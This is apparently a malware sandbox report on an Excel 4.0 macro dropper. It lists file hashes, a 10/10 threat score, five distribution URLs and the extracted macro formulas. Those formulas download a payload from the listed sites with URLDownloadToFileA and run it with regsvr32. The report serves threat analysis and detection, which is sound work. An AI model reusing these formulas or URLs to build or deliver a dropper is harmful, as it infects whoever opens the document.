General

  • Target

    b9676d8948ba52b6dcda742d2d7248b35a901e45f6e2464fe3aa69441a7d8cba

  • Size

    90KB

  • Sample

    241119-w8k1bszkfw

  • MD5

    e50e06007b3b8d55b6666c63cf245432

  • SHA1

    b8ee5ecb0026bd2a390208cfcec88e52a583c7cb

  • SHA256

    b9676d8948ba52b6dcda742d2d7248b35a901e45f6e2464fe3aa69441a7d8cba

  • SHA512

    bb07d157edee0cc5384849763860525e47cdb492565d65cd14b0cb5fc9711345334968dae2165a7c59b813a2112245c19a47b89a89927b0b0100ca7380ad6ea0

  • SSDEEP

    1536:fQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:2DpyVEoBo6hKb4llGsQjbxfd

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

Targets

    • Target

      b9676d8948ba52b6dcda742d2d7248b35a901e45f6e2464fe3aa69441a7d8cba

    • Size

      90KB

    • MD5

      e50e06007b3b8d55b6666c63cf245432

    • SHA1

      b8ee5ecb0026bd2a390208cfcec88e52a583c7cb

    • SHA256

      b9676d8948ba52b6dcda742d2d7248b35a901e45f6e2464fe3aa69441a7d8cba

    • SHA512

      bb07d157edee0cc5384849763860525e47cdb492565d65cd14b0cb5fc9711345334968dae2165a7c59b813a2112245c19a47b89a89927b0b0100ca7380ad6ea0

    • SSDEEP

      1536:fQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:2DpyVEoBo6hKb4llGsQjbxfd

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks